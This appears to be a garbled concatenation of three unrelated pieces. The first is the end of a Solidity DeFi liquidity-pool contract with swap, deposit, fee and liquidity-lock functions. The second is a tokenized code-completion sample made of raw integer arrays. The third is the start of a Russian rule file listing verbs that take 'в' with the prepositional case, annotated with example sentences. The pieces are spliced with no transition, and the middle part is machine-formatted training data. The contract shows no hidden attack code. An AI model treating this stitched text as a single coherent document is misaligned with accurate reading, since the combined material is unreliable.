_records[address(tokenOut)]; return calcSpotPrice(inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, _swapFee);} function depositToken(uint256 amt) external noContract nonReentrant { address tokenIn = Token; _pullUnderlying(tokenIn, msg.sender, amt); uint256 finalAmount = amt * 98/100; _totalSupply1 = _totalSupply1 + finalAmount; _balances1[msg.sender] = _balances1[msg.sender] + finalAmount; } function depositWrap(uint256 amt) external noContract nonReentrant { address tokenIn = Wrap; _pullUnderlying(tokenIn, msg.sender, amt); uint256 finalAmount = amt * 99/100; _totalSupply2 = _totalSupply2 + finalAmount; _balances2[msg.sender] = _balances2[msg.sender] + finalAmount; } function withdrawToken(uint256 amt) external noContract nonReentrant { address tokenIn = Token; require(_balances1[msg.sender] >= amt, "Not enough token"); _totalSupply1 = _totalSupply1 - amt; _balances1[msg.sender] = _balances1[msg.sender] - amt; _pushUnderlying(tokenIn, msg.sender, amt); } function withdrawWrap(uint256 amt) external noContract nonReentrant{ address tokenIn = Wrap; require(_balances2[msg.sender] >= amt, "Not enough Wrap"); _totalSupply2 = _totalSupply2 - amt; _balances2[msg.sender] = _balances2[msg.sender] - amt; _pushUnderlying(tokenIn, msg.sender, amt); } function addBothLiquidity(uint poolAmountOut, uint[] calldata maxAmountsIn) noContract nonReentrant external _logs_ _lock_ { uint poolTotal = totalSupply(); uint ratio = bdiv(poolAmountOut, poolTotal); require(ratio != 0, "ERR_MATH_APPROX"); for (uint i = 0; i < _tokens.length; i++) { address t = _tokens[i]; uint bal = _records[t].balance; uint tokenAmountIn = bmul(ratio, bal); require(tokenAmountIn != 0, "ERR_MATH_APPROX"); require(tokenAmountIn <= maxAmountsIn[i], "ERR_LIMIT_IN"); emit LOG_JOIN(msg.sender, t, tokenAmountIn * 98/100, 0); _pullUnderlying(t, msg.sender, tokenAmountIn); _records[Token].balance = IERC20(Token).balanceOf(address(this)) - _totalSupply1; _records[Wrap].balance = IERC20(Wrap).balanceOf(address(this)) - _totalSupply2; } _mintPoolShare(poolAmountOut); _pushPoolShare(msg.sender, poolAmountOut); } function removeBothLiquidity(uint poolAmountIn, uint[] calldata minAmountsOut) noContract nonReentrant external _logs_ _lock_ { userLock storage ulock = _userlock[msg.sender]; if(ulock.setLock == true) { require(ulock.unlockTime <= block.timestamp, "Liquidity is locked, you cannot remove liquidity until after lock time."); } uint poolTotal = totalSupply(); uint exitFee = bmul(poolAmountIn, EXIT_FEE); uint pAiAfterExitFee = bsub(poolAmountIn, exitFee); uint ratio = bdiv(pAiAfterExitFee, poolTotal); require(ratio != 0, "ERR_MATH_APPROX"); _pullPoolShare(msg.sender, poolAmountIn); _pushPoolShare(_factory, exitFee); _burnPoolShare(pAiAfterExitFee); for (uint i = 0; i < _tokens.length; i++) { address t = _tokens[i]; uint bal = _records[t].balance; uint tokenAmountOut = bmul(ratio, bal); require(tokenAmountOut != 0, "ERR_MATH_APPROX"); require(tokenAmountOut >= minAmountsOut[i], "ERR_LIMIT_OUT"); emit LOG_EXIT(msg.sender, t, tokenAmountOut, 0); _pushUnderlying(t, msg.sender, tokenAmountOut); _records[Token].balance = IERC20(Token).balanceOf(address(this)) - _totalSupply1; _records[Wrap].balance = IERC20(Wrap).balanceOf(address(this)) - _totalSupply2; } } function BUYSmart( uint tokenAmountIn, uint minAmountOut ) noContract nonReentrant external _logs_ _lock_ returns (uint tokenAmountOut, uint spotPriceAfter) { address tokenIn = Wrap; address tokenOut = Token; require(_balances2[msg.sender] >= tokenAmountIn, "Not enough Wrap, deposit more"); Record storage inRecord = _records[address(tokenIn)]; Record storage outRecord = _records[address(tokenOut)]; require(tokenAmountIn <= bmul(inRecord.balance, MAX_IN_RATIO), "ERR_MAX_IN_RATIO"); uint spotPriceBefore = calcSpotPrice( inRecord.balance , BASE * 25, outRecord.balance, BASE * 25, _swapFee * 0 ); uint tokenInFee; (tokenAmountOut, tokenInFee) = calcOutGivenIn( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, tokenAmountIn * 99/100, _swapFee * 0 ); require(tokenAmountOut >= minAmountOut, "ERR_LIMIT_OUT"); require(spotPriceBefore <= bdiv(tokenAmountIn, tokenAmountOut), "ERR_MATH_APPROX"); _balances2[msg.sender] = _balances2[msg.sender] - tokenAmountIn; _balances1[msg.sender] = _balances1[msg.sender] + tokenAmountOut; _totalSupply2 = _totalSupply2 - tokenAmountIn; _totalSupply1 = _totalSupply1 + tokenAmountOut; _records[Token].balance = IERC20(Token).balanceOf(address(this)) - _totalSupply1; _records[Wrap].balance = IERC20(Wrap).balanceOf(address(this)) - _totalSupply2; spotPriceAfter = calcSpotPrice( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, _swapFee * 0 ); require(spotPriceAfter >= spotPriceBefore, "ERR_MATH_APPROX"); emit LOG_SWAP(msg.sender, tokenIn, tokenOut, tokenAmountIn, tokenAmountOut); return (tokenAmountOut, spotPriceAfter); } function BUY( address to, uint minAmountOut ) noContract nonReentrant external payable _logs_ _lock_ returns (uint tokenAmountOut, uint spotPriceAfter) { address tokenIn = Wrap; address tokenOut = Token; Record storage inRecord = _records[address(tokenIn)]; Record storage outRecord = _records[address(tokenOut)]; require(msg.value <= bmul(inRecord.balance, MAX_IN_RATIO), "ERR_MAX_IN_RATIO"); uint spotPriceBefore = calcSpotPrice( inRecord.balance , BASE * 25, outRecord.balance, BASE * 25, _swapFee * 0 ); uint tokenInFee; (tokenAmountOut, tokenInFee) = calcOutGivenIn( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, msg.value * 99/100, _swapFee * 0 ); require(tokenAmountOut >= minAmountOut, "ERR_LIMIT_OUT"); require(spotPriceBefore <= bdiv(msg.value * 99/100, tokenAmountOut), "ERR_MATH_APPROX"); wrap(Wrap).deposit{value: msg.value}(); _pushUnderlying(tokenOut, to, tokenAmountOut); _records[Token].balance = IERC20(Token).balanceOf(address(this)) - _totalSupply1; _records[Wrap].balance = IERC20(Wrap).balanceOf(address(this)) - _totalSupply2; spotPriceAfter = calcSpotPrice( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, _swapFee * 0 ); require(spotPriceAfter >= spotPriceBefore, "ERR_MATH_APPROX"); emit LOG_SWAP(msg.sender, tokenIn, tokenOut, msg.value * 99/100, tokenAmountOut * 98/100); return (tokenAmountOut, spotPriceAfter); } function SELL( address to, uint tokenAmountIn, uint minAmountOut ) noContract nonReentrant external _logs_ _lock_ returns (uint tokenAmountOut, uint spotPriceAfter) { address tokenIn = Token; address tokenOut = Wrap; Record storage inRecord = _records[address(tokenIn)]; Record storage outRecord = _records[address(tokenOut)]; require(tokenAmountIn <= bmul(inRecord.balance, MAX_SELL_RATIO), "ERR_SELL_RATIO"); uint tokenInFee; (tokenAmountOut, tokenInFee) = calcOutGivenIn( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, tokenAmountIn * 98/100, _swapFee ); require(tokenAmountOut >= minAmountOut, "ERR_LIMIT_OUT"); emit LOG_SWAP(msg.sender, tokenIn, tokenOut, tokenAmountIn * 98/100, tokenAmountOut * 99/100); _pullUnderlying(tokenIn, msg.sender, tokenAmountIn); uint256 toka = bmul(tokenAmountOut, bdiv(RPF, 1000)); uint256 tokAmountI = bmul(tokenAmountOut, bdiv(FSS, 10000)); uint256 tokAmountI2 = bmul(tokenAmountOut, bdiv(PSS, 10000)); uint256 tokAmountI1 = bsub(toka, badd(tokAmountI, tokAmountI2)); uint256 out1 = tokAmountI1; wrap(Wrap).withdraw(out1); TransferHelper.safeTransferETH(to, (out1 * 99/100)); _pushUnderlying1(tokenOut, tokAmountI); _balances2[pairRewardPool] = _balances2[pairRewardPool] + tokAmountI2; _totalSupply2 = _totalSupply2 + tokAmountI2; uint spotPriceBefore = calcSpotPrice( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, _swapFee ); require(spotPriceBefore <= bdiv(tokenAmountIn, tokenAmountOut), "ERR_MATH_APPROX"); _records[Token].balance = IERC20(Token).balanceOf(address(this)) - _totalSupply1; _records[Wrap].balance = IERC20(Wrap).balanceOf(address(this)) - _totalSupply2; spotPriceAfter = calcSpotPrice( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, _swapFee ); require(spotPriceAfter >= spotPriceBefore, "ERR_MATH_APPROX"); return (tokenAmountOut, spotPriceAfter); } function SELLSmart( uint tokenAmountIn, uint minAmountOut ) noContract nonReentrant external _logs_ _lock_ returns (uint tokenAmountOut, uint spotPriceAfter) { address tokenIn = Token; address tokenOut = Wrap; require(_balances1[msg.sender] >= tokenAmountIn, "Not enough Token"); Record storage inRecord = _records[address(tokenIn)]; Record storage outRecord = _records[address(tokenOut)]; require(tokenAmountIn <= bmul(inRecord.balance, MAX_SELL_RATIO), "ERR_SELL_RATIO"); uint spotPriceBefore = calcSpotPrice( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, _swapFee ); uint tokenInFee; (tokenAmountOut, tokenInFee) = calcOutGivenIn( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, tokenAmountIn * 98/100, _swapFee ); require(tokenAmountOut >= minAmountOut, "ERR_LIMIT_OUT"); require(spotPriceBefore <= bdiv(tokenAmountIn, tokenAmountOut), "ERR_MATH_APPROX"); emit LOG_SWAP(msg.sender, tokenIn, tokenOut, tokenAmountIn, tokenAmountOut); uint256 toka = bmul(tokenAmountOut, bdiv(RPF, 1000)); uint256 tokAmountI = bmul(tokenAmountOut, bdiv(FSS, 10000)); uint256 tokAmountI2 = bmul(tokenAmountOut, bdiv(PSS, 10000)); uint256 tokAmountI1 = bsub(toka, badd(tokAmountI, tokAmountI2)); uint256 tok2 = badd(tokAmountI1, tokAmountI2); _balances1[msg.sender] = _balances1[msg.sender] - tokenAmountIn; _balances2[msg.sender] = _balances2[msg.sender] + tokAmountI1; _totalSupply2 = _totalSupply2 + tok2; _totalSupply1 = _totalSupply1 - tokenAmountIn; _pushUnderlying1(tokenOut, tokAmountI); _balances2[pairRewardPool] = _balances2[pairRewardPool] + tokAmountI2; _records[Token].balance = IERC20(Token).balanceOf(address(this)) - _totalSupply1; _records[Wrap].balance = IERC20(Wrap).balanceOf(address(this)) - _totalSupply2; spotPriceAfter = calcSpotPrice( inRecord.balance, BASE * 25, outRecord.balance, BASE * 25, _swapFee ); require(spotPriceAfter >= spotPriceBefore, "ERR_MATH_APPROX"); return (tokenAmountOut, spotPriceAfter); } function setFSS(uint _FSS ) external { require(msg.sender == _controller); require(_FSS <= 100, " Cannot set over 1%"); require(_FSS > 0, " Cannot set to 0"); FSS = _FSS; } function setPSS(uint _PSS ) external { require(msg.sender == _poolOwner); require(_PSS <= 100, " Cannot set over 1%"); require(_PSS > 0, " Cannot set to 0"); PSS = _PSS; } function setRPF(uint _RPF ) external { require(msg.sender == _poolOwner); require(_RPF <= 200, " Cannot set over 20%"); require(_RPF > 0, " Cannot set to 0"); RPF = _RPF; } function setSHR(uint _SHR, uint _SHR1 ) external { require(msg.sender == _controller); require(_SHR <= 100 && _SHR1 <=100, " Cannot set over 10%"); require(_SHR > 0 && _SHR1 > 0, " Cannot set to 0"); SHR = _SHR; SHR1 = _SHR1; } function setLockLiquidity() external { // address user = msg.sender; userLock storage ulock = _userlock[user]; userLock storage time = _unlockTime[user]; ulock.setLock = true; time.unlockTime = block.timestamp + 365 days ; } function releaseLiquidity() external { // Allows removal of liquidity after the lock period is over address user = msg.sender; userLock storage ulock = _userlock[user]; userLock storage time = _unlockTime[user]; require (block.timestamp >= time.unlockTime, "Liquidity is locked, you cannot remove liquidity until after lock time."); ulock.setLock = false; } function emergencyLockOverride(address user, bool _bool, uint _time) external { require(msg.sender == _controller); userLock storage ulock = _userlock[user]; userLock storage time = _unlockTime[user]; ulock.setLock = _bool; time.unlockTime = _time; } function _pullUnderlying(address erc20, address from, uint amount) internal { //require(amount > 0, "Cannot deposit nothing"); bool xfer = IERC20(erc20).transferFrom(from, address(this), amount); require(xfer, "ERR_ERC20_FALSE"); } function _pushUnderlying(address erc20, address to, uint amount) internal { //require(amount > 0, "Cannot withdraw nothing"); bool xfer = IERC20(erc20).transfer(to, amount); require(xfer, "ERR_ERC20_FALSE"); } function _pushUnderlying1(address erc20, uint amount) internal { bool xfer = IERC20(erc20).transfer(FEGstake, amount); require(xfer, "ERR_ERC20_FALSE"); } function _pullPoolShare(address from, uint amount) internal { _pull(from, amount); } function _pushPoolShare(address to, uint amount) internal { _push(to, amount); } function _mintPoolShare(uint amount) internal { _mint(amount); } function _burnPoolShare(uint amount) internal { _burn(amount); } function PayWrap(address payee, uint amount) external noContract nonReentrant { require(_balances2[msg.sender] >= amount, "Not enough token"); uint256 amt = amount * SHR1/1000; uint256 amt1 = amount - amt; _balances2[msg.sender] = _balances2[msg.sender] - amount; _balances2[payee] = _balances2[payee] + amt; _balances2[_factory] = _balances2[_factory] + amt1; } function PayToken(address payee, uint amount) external noContract nonReentrant { require(_balances1[msg.sender] >= amount, "Not enough token"); uint256 amt = amount * SHR/1000; uint256 amt1 = amount - amt; _balances1[msg.sender] = _balances1[msg.sender] - amount; _balances1[payee] = _balances1[payee] + amt; _pushUnderlying(Token, burn, amt1); _totalSupply1 = _totalSupply1 - amt1; } }
require(amount > 0, "Cannot deposit nothing");
{ bool xfer = IERC20(erc20).transferFrom(from, address(this), amount); require(xfer, "ERR_ERC20_FALSE"); }
1,215,143
[ 1, 6528, 12, 8949, 405, 374, 16, 315, 4515, 443, 1724, 5083, 8863, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 27699, 3639, 1426, 619, 586, 273, 467, 654, 39, 3462, 12, 12610, 3462, 2934, 13866, 1265, 12, 2080, 16, 1758, 12, 2211, 3631, 3844, 1769, 203, 3639, 2583, 12, 23168, 16, 315, 9712, 67, 654, 39, 3462, 67, 21053, 8863, 203, 540, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Сочетаемость глаголов (и отглагольных частей речи) с предложным // паттерном. // LC->07.08.2018 facts гл_предл language=Russian { arity=3 //violation_score=-5 generic return=boolean } #define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{} #region Предлог_В // ------------------- С ПРЕДЛОГОМ 'В' --------------------------- #region Предложный // Глаголы и отглагольные части речи, присоединяющие // предложное дополнение с предлогом В и сущ. в предложном падеже. wordentry_set Гл_В_Предл = { rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль // вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб rus_verbs:воевать{}, // Воевал во Франции. rus_verbs:устать{}, // Устали в дороге? rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения. rus_verbs:решить{}, // Что решат в правительстве? rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает. rus_verbs:обстоять{}, // В действительности же дело обстояло не так. rus_verbs:подыматься{}, rus_verbs:поехать{}, // поедем в такси! rus_verbs:уехать{}, // он уехал в такси rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей rus_verbs:ОБЛАЧИТЬ{}, rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло. rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ) rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ) rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ) rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ) rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ) rus_verbs:ЗАМАЯЧИТЬ{}, rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ) rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ) rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ) rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ) rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ) rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ) rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ) rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ) rus_verbs:ПоТЕРЯТЬ{}, rus_verbs:УТЕРЯТЬ{}, rus_verbs:РАСТЕРЯТЬ{}, rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.) rus_verbs:СОМКНУТЬСЯ{}, rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ) rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ) rus_verbs:ВЫСТОЯТЬ{}, rus_verbs:ПОСТОЯТЬ{}, rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ) rus_verbs:ВЗВЕШИВАТЬ{}, rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ) прилагательное:быстрый{}, // Кисель быстр в приготовлении rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень rus_verbs:призывать{}, rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ) rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ) rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ) rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ) rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ) rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ) rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ) rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ) rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ) rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ) rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ) rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ) rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ) rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ) rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ) rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ) rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ) rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ) rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ) rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ) rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ) rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ) rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ) rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ) rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ) rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ) rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ) rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ) инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан глагол:проводить{ вид:несоверш }, деепричастие:проводя{}, rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл) rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл) rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл) rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл) rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл) rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл) rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл) rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл) rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл) rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл) rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл) rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл) rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл) rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл) rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл) прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В) rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл) rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл) rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл) rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл) rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл) rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл) rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл) rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл) rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В) rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В) rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл) rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В) rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл) rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл) rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В) rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл) rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл) rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В) 